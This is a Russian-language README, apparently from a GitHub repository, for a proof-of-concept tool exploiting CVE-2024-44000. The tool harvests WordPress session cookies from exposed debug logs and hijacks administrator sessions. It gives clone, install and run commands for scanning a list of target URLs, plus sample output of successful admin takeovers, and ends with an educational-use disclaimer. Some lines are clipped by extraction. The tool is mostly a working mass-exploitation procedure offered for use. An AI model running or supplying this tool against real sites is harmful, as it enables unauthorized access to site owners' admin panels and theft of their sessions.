geniuszly/cve-2024-44000это PoC-инструмент, предназначенный для эксплуатации небезопасно раскрытых отладочных журналов сайтов WordPress и извлечения файлов cookie сеансов
GenCookieSessionHijack — это PoC-инструмент, предназначенный для эксплуатации небезопасно раскрытых отладочных журналов сайтов WordPress и извлечения сессионных cookies. Это позволяет злоумышленнику перехватывать активные сеансы администратора и получать несанкционированный доступ к панели администратора WordPress.
wordpress_logged_in).git clone https://github.com/geniuszly/CVE-2024-44000
cd CVE-2024-44000
pip install -r requirements.txt
list.txt).python GenCookieSessionHijack.py -f list.txt -o result.txt
-f, --file: Путь к файлу со списком URL (по умолчанию: list.txt).-o, --output: Файл для сохранения результатов (по умолчанию: result.txt).python GenCookieSessionHijack.py -f targets.txt -o output.txt
Это прочитает список URL из targets.txt, попытается извлечь и использовать сессионные cookies, и сохранит результаты в output.txt.
Если попытка захвата сеанса успешна, инструмент сгенерирует URL с захваченным сессионным cookie администратора и откроет его непосредственно в браузере.
[+] Лог-файл успешно получен с http://example.com
[+] Найдены session cookies для http://example.com:
wordpress_logged_in_abcdef123456
[+] Успешно захвачен сеанс администратора с cookie: wordpress_logged_in_abcdef123456
[+] URL захваченного сеанса: http://example.com/wp-login.php?redirect_to=http://example.com/wp-admin/?wordpress_logged_in_abcdef123456
[+] Установленный cookie: http://example.com/wp-login.php?cookie=wordpress_logged_in_abcdef123456
[-] Не удалось захватить сеанс администратора с cookie: wordpress_logged_in_invalidcookie
[-] Session cookies не найдены в логах для http://another-example.com
[-] Не удалось получить лог-файл для http://another-example.com. Код ответа: 404
Этот инструмент предназначен исключительно для образовательных целей и не должен использоваться для незаконных действий. Автор не несет ответственности за любое неправомерное использование или ущерб, вызванный этим инструментом.